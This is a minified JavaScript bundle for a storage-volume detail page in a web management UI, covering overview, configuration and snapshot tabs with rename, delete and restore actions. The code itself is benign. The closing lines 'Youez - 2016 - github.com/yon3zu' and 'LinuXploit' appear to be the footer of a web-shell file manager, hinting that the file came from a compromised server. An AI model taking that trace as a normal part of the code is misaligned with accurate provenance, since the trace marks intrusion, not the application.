a=fe(be),n=z(),l=i.useToastNotification(),c=a?"p-contextual-menu__link":"p-segmented-control__button",d=[e.jsx(kt,{volume:t,classname:c},"migrate"),e.jsx(Pt,{volume:t,classname:c},"copy"),e.jsx(wt,{volume:t,classname:c},"export"),e.jsx(ve,{label:"Delete",volume:t,project:o,appearance:"",hasIcon:!0,onFinish:()=>{n(`${_}/ui/project/${encodeURIComponent(o)}/storage/volumes`),l.success(e.jsxs(e.Fragment,{children:["Storage volume"," ",e.jsx(v,{bold:!0,type:"volume",value:t.name})," deleted."]}))},classname:c},"delete")];return e.jsx(e.Fragment,{children:a?e.jsx(i.ContextualMenu,{closeOnOutsideClick:!1,toggleLabel:"Actions",position:"left",hasToggleIcon:!0,title:"actions",children:m=>e.jsx("span",{children:[...d].map(x=>C.cloneElement(x,{onClose:m}))})}):e.jsx("div",{className:"p-segmented-control",children:e.jsx("div",{className:"p-segmented-control__list",children:d})})})},Mt=({volume:t,project:o})=>{const a=z(),n=i.useNotify(),l=i.useToastNotification(),c=C.useState(null),{canEditVolume:d}=w(),m=F(),x=s=>{if((s.used_by?.length??0)>0)return"Can not rename, volume is currently in use.";if(!d(s))return"You do not have permission to rename this volume"},f=H().shape({name:T().test(...Pe(o,t.type,c,t)).required("This field is required")}),p=s=>{const r=Te(t)?`${_}/ui/project/${encodeURIComponent(o)}/storage/pool/${encodeURIComponent(t.pool)}/member/${encodeURIComponent(t.location)}/volumes/${encodeURIComponent(t.type)}/${encodeURIComponent(s.name)}`:`${_}/ui/project/${encodeURIComponent(o)}/storage/pool/${encodeURIComponent(t.pool)}/volumes/${encodeURIComponent(t.type)}/${encodeURIComponent(s.name)}`;a(r),l.success(e.jsxs(e.Fragment,{children:["Storage volume ",e.jsx("strong",{children:t.name})," renamed to"," ",e.jsx(K,{type:"volume",value:s.name,to:r}),"."]})),j.setFieldValue("isRenaming",!1)},u=s=>{n.failure("Renaming failed",s)},h=()=>{j.setSubmitting(!1)},j=R({initialValues:{name:t.name,isRenaming:!1},validationSchema:f,onSubmit:s=>{if(t.name===s.name){j.setFieldValue("isRenaming",!1),j.setSubmitting(!1);return}Ee(o,t,s.name,t.location).then(r=>{m.set(r.metadata.id,()=>{p(s)},g=>{u(new Error(g))},h)}).catch(u)}});return e.jsx(_e,{name:t.name,parentItems:[e.jsx(Se,{to:`${_}/ui/project/${encodeURIComponent(o)}/storage/volumes`,children:"Storage volumes"},1)],controls:t?e.jsx(Tt,{project:o,volume:t}):null,isLoaded:!0,formik:j,renameDisabledReason:x(t)})},Rt=({volume:t})=>{const o=()=>{ye("storage-overview-tab")};C.useEffect(o,[t]),i.useListener(window,o,"resize",!0);const{data:a}=oe();return e.jsxs("div",{className:"storage-overview-tab",children:[e.jsxs(i.Row,{className:"section",children:[e.jsx(i.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"General"})}),e.jsx(i.Col,{size:7,children:e.jsx("table",{children:e.jsxs("tbody",{children:[e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Name"}),e.jsx("td",{children:t.name})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Type"}),e.jsx("td",{children:Me(t)})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Content type"}),e.jsx("td",{children:Re(t)})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Description"}),e.jsx("td",{children:t.description?t.description:"-"})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Cluster member"}),e.jsx("td",{children:a?.environment?.server_clustered&&t.location?e.jsx(nt,{clusterMember:t.location}):"-"})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Pool"}),e.jsx("td",{children:e.jsx(it,{poolName:t.pool,projectName:t.project,location:t.location})})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Date created"}),e.jsx("td",{children:E(t.created_at)})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Size"}),e.jsx("td",{children:e.jsx(We,{volume:t})})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Custom config"}),e.jsx("td",{children:Object.entries(t.config).length===0?"-":e.jsx("table",{children:e.jsx("tbody",{children:Object.entries(t.config).map(([n,l],c)=>e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:n}),e.jsx("td",{children:l})]},c))})})})]})]})})})]}),e.jsxs(i.Row,{className:"section",children:[e.jsx(i.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Used by"})}),e.jsx(i.Col,{size:7,children:e.jsx(Je,{storage:t})})]})]})},$=(t,o)=>({name:t.name,project:t.project,pool:t.pool,size:t.config.size??"GiB",content_type:t.content_type,volumeType:t.type,security_shifted:t.config["security.shifted"],security_unmapped:t.config["security.unmapped"],snapshots_expiry:t.config["snapshots.expiry"],snapshots_pattern:t.config["snapshots.pattern"],snapshots_schedule:t.config["snapshots.schedule"],block_filesystem:t.config["block.filesystem"],block_mount_options:t.config["block.mount_options"],block_type:t.config["block.type"],zfs_blocksize:t.config["zfs.blocksize"],zfs_block_mode:t.config["zfs.block_mode"],zfs_delegate:t.config["zfs.delegate"],zfs_remove_snapshots:t.config["zfs.remove_snapshots"],zfs_use_refquota:t.config["zfs.use_refquota"],zfs_reserve_space:t.config["zfs.reserve_space"],readOnly:!0,isCreating:!1,entityType:"storageVolume",editRestriction:o,clusterMember:t.location}),Bt=({volume:t})=>{const o=z(),a=i.useNotify(),n=i.useToastNotification(),l=M(),{section:c}=Q(),{project:d}=Q(),{canEditVolume:m}=w(),x=F();if(!d)return e.jsx(e.Fragment,{children:"Missing project"});const f=H().shape({name:T().required("This field is required")}),p=m(t)?void 0:"You do not have permission to edit this volume",u=b=>{s.setValues($(b)),l.invalidateQueries({queryKey:[S.storage]}),l.invalidateQueries({queryKey:[S.storage,t.pool,d,b.type,b.name]}),n.success(e.jsxs(e.Fragment,{children:["Storage volume ",e.jsx(N,{volume:t})," updated."]}))},h=b=>{a.failure("Storage volume update failed",b)},j=()=>{s.setSubmitting(!1)},s=R({initialValues:$(t,p),validationSchema:f,enableReinitialize:!0,onSubmit:b=>{const V=ce(b,d,t);ie(b.pool,d,{...V,etag:t.etag},t.location).then(k=>{x.set(k.metadata.id,()=>{u(V)},B=>{h(new Error(B))},j)}).catch(h)}}),r=`${I(t)}/configuration`,g=b=>{o(b===ee?r:`${r}/${G(b)}`)};return e.jsxs("div",{className:"edit-storage-volume",children:[e.jsx(rt,{formik:s,section:c??G(ee),setSection:g}),e.jsx(ct,{children:s.values.readOnly?null:e.jsxs(e.Fragment,{children:[e.jsx(i.Button,{appearance:"base",onClick:async()=>s.setValues($(t)),children:"Cancel"}),e.jsx(dt,{formik:s,baseUrl:r,disabled:!s.values.name})]})})]})},Dt=({volume:t,snapshot:o,close:a})=>{const n=F(),l=i.useToastNotification(),c=M(),d=C.useState(null),m=async h=>new Promise((j,s)=>{et(t,o,h).then(r=>{n.set(r.metadata.id,()=>{j()},g=>{s(new Error(g))})}).catch(r=>{s(r)})}),[x,f]=o.expires_at?Ce(new Date(o.expires_at)).slice(0,16).split(" "):[null,null],p=async h=>{let j=!0;h.name!==o.name&&await m(h.name).catch(s=>{l.failure("Snapshot update failed",s),j=!1}),j&&l.success(e.jsxs(e.Fragment,{children:["Snapshot ",e.jsx(A,{name:h.name,volume:t})," ","saved."]})),c.invalidateQueries({predicate:s=>s.queryKey[0]===S.volumes||s.queryKey[0]===S.storage}),u.setSubmitting(!1),a()},u=R({initialValues:{name:o.name,expirationDate:x,expirationTime:f},validateOnMount:!0,validationSchema:Ze(t,d,o.name),onSubmit:async h=>{const j=h.expirationDate&&h.expirationTime?Ne(Oe(h.expirationDate,h.expirationTime)):null;j!==o.expires_at&&await Xe(t,o,j).then(s=>{n.set(s.metadata.id,()=>{p(h)},r=>{l.failure("Snapshot update failed",new Error(r))})}).catch(s=>{l.failure("Snapshot update failed",s)})}});return e.jsx(pt,{isEdit:!0,formik:u,close:a})},Lt=({volume:t,snapshot:o,isDeleting:a,isRestoring:n})=>{const{openPortal:l,closePortal:c,isOpen:d,Portal:m}=i.usePortal(),{canManageStorageVolumeSnapshots:x}=w();return e.jsxs(e.Fragment,{children:[d&&e.jsx(m,{children:e.jsx(Dt,{close:c,volume:t,snapshot:o})}),e.jsx(i.Button,{appearance:"base",hasIcon:!0,dense:!0,disabled:!x(t)||a||n,onClick:l,type:"button","aria-label":"Edit snapshot",title:x(t)?"Edit":"You do not have permission to edit this snapshot",children:e.jsx(P,{icon:"edit"})})]})},Et=({volume:t,snapshot:o})=>{const a=F(),n=i.useNotify(),l=i.useToastNotification(),[c,d]=C.useState(!1),[m,x]=C.useState(!1),f=M(),{canManageStorageVolumeSnapshots:p}=w(),u=s=>p(t)?`${s} snapshot`:`You do not have permission to ${s.toLowerCase()} this snapshot`,h=()=>{d(!0);const s=e.jsx(A,{name:o.name,volume:t});ot(t,o).then(r=>{a.set(r.metadata.id,()=>l.success(e.jsxs(e.Fragment,{children:["Snapshot"," ",e.jsx(v,{bold:!0,type:"snapshot",value:o.name})," ","deleted for volume ",e.jsx(N,{volume:t}),"."]})),g=>l.failure(`Snapshot ${o.name} deletion failed`,new Error(g),s),()=>{d(!1),f.invalidateQueries({predicate:g=>g.queryKey[0]===S.volumes||g.queryKey[0]===S.storage})})}).catch(r=>{n.failure("Snapshot deletion failed",r,s),d(!1)})},j=()=>{x(!0),tt(t,o).then(()=>{l.success(e.jsxs(e.Fragment,{children:["Snapshot"," ",e.jsx(A,{name:o.name,volume:t})," ","restored for volume ",e.jsx(N,{volume:t}),"."]}))}).catch(s=>{n.failure("Snapshot restore failed",s)}).finally(()=>{x(!1),f.invalidateQueries({predicate:s=>s.queryKey[0]===S.volumes||s.queryKey[0]===S.storage})})};return e.jsx(e.Fragment,{children:e.jsx(i.List,{inline:!0,className:q("u-no-margin--bottom","actions-list",{"u-snapshot-actions":!c&&!m}),items:[e.jsx(Lt,{volume:t,snapshot:o,isDeleting:c,isRestoring:m},"edit"),e.jsx(i.ConfirmationButton,{appearance:"base",loading:m,className:"has-icon is-dense",title:"Confirm restore",confirmationModalProps:{title:"Confirm restore",children:e.jsxs("p",{children:["This will restore snapshot"," ",e.jsx(v,{type:"snapshot",value:o.name,bold:!0}),".",e.jsx("br",{}),"This action cannot be undone, and can result in data loss."]}),confirmButtonLabel:u("Restore"),confirmButtonAppearance:"positive",onConfirm:j},disabled:!p(t)||c||m,shiftClickEnabled:!0,showShiftClickHint:!0,children:e.jsx(P,{icon:"change-version"})},"restore"),e.jsx(i.ConfirmationButton,{appearance:"base",loading:c,className:"has-icon is-dense",confirmationModalProps:{title:"Confirm delete",children:e.jsxs("p",{children:["This will permanently delete snapshot"," ",e.jsx(v,{type:"snapshot",value:o.name,bold:!0}),".",e.jsx("br",{}),"This action cannot be undone, and can result in data loss."]}),confirmButtonLabel:u("Delete"),onConfirm:h},disabled:!p(t)||c||m,shiftClickEnabled:!0,showShiftClickHint:!0,children:e.jsx(P,{icon:"delete"})},"delete")]})})},vt=({volume:t,snapshotNames:o,onStart:a,onFinish:n})=>{const l=F(),c=i.useToastNotification(),[d,m]=C.useState(!1),x=M(),{canManageStorageVolumeSnapshots:f}=w(),p=ft(),u=o.length,h=()=>{m(!0),a(),st(t,o,l).then(j=>{const{fulfilledCount:s,rejectedCount:r}=xt(j);s===u?c.success(`${o.length} ${D("snapshot",o.length)} deleted`,p(j)):r===u?c.failure("Snapshot bulk deletion failed",void 0,e.jsxs(e.Fragment,{children:[e.jsx("b",{children:u})," ",D("snapshot",u)," could not be deleted."]}),p(j)):c.failure("Snapshot bulk deletion partially failed",void 0,e.jsxs(e.Fragment,{children:[e.jsx("b",{children:s})," ",D("snapshot",s)," ","deleted.",e.jsx("br",{}),e.jsx("b",{children:r})," ",D("snapshot",r)," ","could not be deleted."]}),p(j)),x.invalidateQueries({predicate:g=>g.queryKey[0]===S.volumes||g.queryKey[0]===S.storage}),m(!1),n()}).catch(j=>{c.failure("Snapshot bulk deletion failed",j),m(!1)})};return e.jsx(jt,{confirmationButtonProps:{loading:d,disabled:!f(t)||d,appearance:""},onDelete:h,entityType:"snapshot",entities:o,deletableEntities:o,buttonLabel:`Delete ${D("snapshot",o.length)}`,disabledReason:f(t)?void 0:"You do not have permission to manage snapshots for this volume"})},$t=({volume:t,close:o})=>{const a=i.useNotify(),n=i.useToastNotification(),l=M(),c=F(),d=()=>{n.success(e.jsxs(e.Fragment,{children:["Snapshot configuration updated for volume"," ",e.jsx(N,{volume:t}),"."]})),l.invalidateQueries({queryKey:[S.storage],predicate:p=>p.queryKey[0]===S.volumes||p.queryKey[0]===S.storage})},m=p=>{a.failure("Configuration update failed",p)},x=()=>{o(),f.setSubmitting(!1)},f=R({initialValues:$(t),onSubmit:p=>{const u=ce(p,t.project,t);ie(t.pool,t.project,{...u,etag:t.etag},t.location).then(h=>{c.set(h.metadata.id,d,j=>{m(new Error(j))},x)}).catch(m)}});return e.jsx(i.Modal,{close:o,className:"edit-snapshot-config",title:"Snapshot configuration",buttonRow:f.values.readOnly?e.jsx(i.Button,{className:"u-no-margin--bottom u-no-margin--right",onClick:o,children:"Close"}):e.jsxs(e.Fragment,{children:[e.jsx(i.Button,{appearance:"base",className:"u-no-margin--bottom",type:"button",onClick:o,children:"Cancel"}),e.jsx(i.ActionButton,{appearance:"positive",className:"u-no-margin--bottom",loading:f.isSubmitting,disabled:f.isSubmitting,onClick:()=>{f.submitForm()},children:"Save"})]}),children:e.jsx(lt,{formik:f})})},te=({volume:t,isDisabled:o,className:a})=>{const{openPortal:n,closePortal:l,isOpen:c,Portal:d}=i.usePortal(),{canEditVolume:m}=w();return e.jsxs(e.Fragment,{children:[c&&e.jsx(d,{children:e.jsx("div",{className:"snapshot-list",children:e.jsx($t,{close:l,volume:t})})}),e.jsx(i.Button,{onClick:n,className:a,disabled:!m(t)||o,title:m(t)?"Configure snapshot":"You do not have permission to configure this volume",children:"See configuration"})]})},It=({volume:t})=>{const[o,a]=C.useState(""),[n,l]=C.useState([]),[c,d]=C.useState([]),[m,x]=C.useState(J()),f=i.useNotify(),{project:p,isLoading:u}=se(),{data:h,error:j,isLoading:s}=Ve({queryKey:[S.storage,S.snapshots,t.pool,t.project,t.type,t.name,t.location],queryFn:async()=>at(t)}),r=Qe(p);C.useEffect(()=>{const y=new Set(h?.map(U=>U.name)),L=n.filter(U=>y.has(U));L.length!==n.length&&l(L)},[h,n]);const g=h?.filter(y=>!(o&&!y.name.toLowerCase().includes(o.toLowerCase())))??[],b=h&&h.length>0,V=[{content:m?e.jsxs(e.Fragment,{children:["Name",e.jsx("br",{}),e.jsx("div",{className:"header-second-row",children:"Date created"})]}):"Name",sortKey:m?"created_at":"name",className:"name"},...m?[]:[{content:"Date created",sortKey:"created_at",className:"created"}],{content:"Expiry date",sortKey:"expires_at",className:"expiration"},{"aria-label":"Actions",className:"actions"}],k=g.map(y=>{const L=e.jsx(Et,{volume:t,snapshot:y});return{key:y.name,className:"u-row",name:y.name,columns:[{content:e.jsxs(e.Fragment,{children:[e.jsx("div",{className:"u-truncate",title:y.name,children:e.jsx(ut,{item:y})}),m&&e.jsx("div",{className:"u-text--muted",children:E(y.created_at)})]}),role:"rowheader","aria-label":"Name",className:"name"},...m?[]:[{content:E(y.created_at),role:"cell","aria-label":"Created at",className:"created"}],{content:E(y.expires_at??""),role:"cell","aria-label":"Expires at",className:"expiration"},{content:L,role:"cell","aria-label":"Actions",className:"u-align--right actions"}],sortData:{name:y.name.toLowerCase(),created_at:y.created_at,expires_at:y.expires_at}}}),{rows:B,updateSort:de}=bt({rows:k,defaultSort:"created_at",defaultSortDirection:"descending"}),me=()=>{x(J())};return i.useListener(window,me,"resize",!0),j&&f.failure("Loading storage volume snapshots failed",j),s||u?e.jsx(i.Spinner,{className:"u-loader",text:"Loading...",isMainComponent:!0}):h?e.jsxs("div",{className:"snapshot-list",children:[b&&e.jsx("div",{className:"upper-controls-bar",children:n.length===0?e.jsxs(e.Fragment,{children:[e.jsx("div",{className:"search-box-wrapper",children:e.jsx(i.SearchBox,{name:"search-snapshot",className:"search-box margin-right--large",type:"text",onChange:y=>{a(y)},placeholder:"Search for snapshots",value:o,"aria-label":"Search for snapshots"})}),e.jsx(te,{volume:t,className:"u-no-margin--right"}),e.jsx(Z,{volume:t,className:"u-float-right",isDisabled:r})]}):e.jsx("div",{className:"p-panel__controls",children:e.jsx(vt,{volume:t,snapshotNames:n,onStart:()=>{d(n)},onFinish:()=>{d([])}})})}),b?e.jsx(e.Fragment,{children:e.jsx(i.ScrollableTable,{dependencies:[g],tableId:"volume-snapshot-table",belowIds:["status-bar"],children:e.jsx(i.TablePagination,{data:B,id:"pagination",itemName:"snapshot",className:"u-no-margin--top","aria-label":"Table pagination control",description:n.length>0&&e.jsx(gt,{totalCount:h.length??0,itemName:"snapshot",parentName:"volume",selectedNames:n,setSelectedNames:l,filteredNames:g.map(y=>y.name)}),children:e.jsx(ht,{id:"volume-snapshot-table",className:"volume-snapshot-table",headers:V,rows:B,responsive:!0,sortable:!0,emptyStateMsg:"No snapshot found matching this search",itemName:"snapshot",parentName:"instance",selectedNames:n,setSelectedNames:l,disabledNames:c,filteredNames:g.map(y=>y.name),onUpdateSort:de,defaultSort:"created_at",defaultSortDirection:"descending"})})})}):e.jsxs(i.EmptyState,{className:"empty-state",image:e.jsx(P,{icon:"snapshot",className:"empty-state-icon"}),title:"No snapshots found",children:[e.jsx("p",{children:p&&r?e.jsxs(e.Fragment,{children:["Snapshots are disabled for project"," ",e.jsx(re,{projectName:p.name,urlSuffix:"/configuration"}),"."]}):"There are no snapshots for this volume."}),e.jsx("p",{children:e.jsx(ke,{docPath:"/howto/storage_backup_volume/#storage-backup-snapshots",hasExternalIcon:!0,children:"Learn more about snapshots"})}),e.jsx(te,{volume:t,isDisabled:r}),e.jsx(Z,{volume:t,className:"empty-state-button",isDisabled:r})]})]}):e.jsx(e.Fragment,{children:"Loading storage volume snapshots failed"})},zt=["Overview","Configuration","Snapshots"],cs=()=>{const{pool:t,project:o,member:a,activeTab:n,type:l,volume:c}=Q();if(!t)return e.jsx(e.Fragment,{children:"Missing storage pool"});if(!o)return e.jsx(e.Fragment,{children:"Missing project"});if(!l)return e.jsx(e.Fragment,{children:"Missing type"});if(!c)return e.jsx(e.Fragment,{children:"Missing volume"});const{data:d,error:m,isLoading:x}=He(t,o,l,c,a);return x?e.jsx(i.Spinner,{className:"u-loader",text:"Loading...",isMainComponent:!0}):d?e.jsx(i.CustomLayout,{header:e.jsx(Mt,{volume:d,project:o}),contentClassName:"detail-page storage-volume-form u-no-padding--bottom",children:e.jsxs(i.Row,{children:[e.jsx(mt,{tabs:zt,activeTab:n,tabUrl:I(d)}),e.jsx(we,{}),!n&&e.jsx("div",{role:"tabpanel","aria-labelledby":"overview",children:e.jsx(Rt,{volume:d})}),n==="configuration"&&e.jsx("div",{role:"tabpanel","aria-labelledby":"configuration",children:e.jsx(Bt,{volume:d})}),n==="snapshots"&&e.jsx("div",{role:"tabpanel","aria-labelledby":"snapshots",children:e.jsx(It,{volume:d})})]})}):e.jsx(Fe,{entityType:"volume",entityName:c,errorMessage:m?.message})};export{cs as default};

Youez - 2016 - github.com/yon3zu
LinuXploit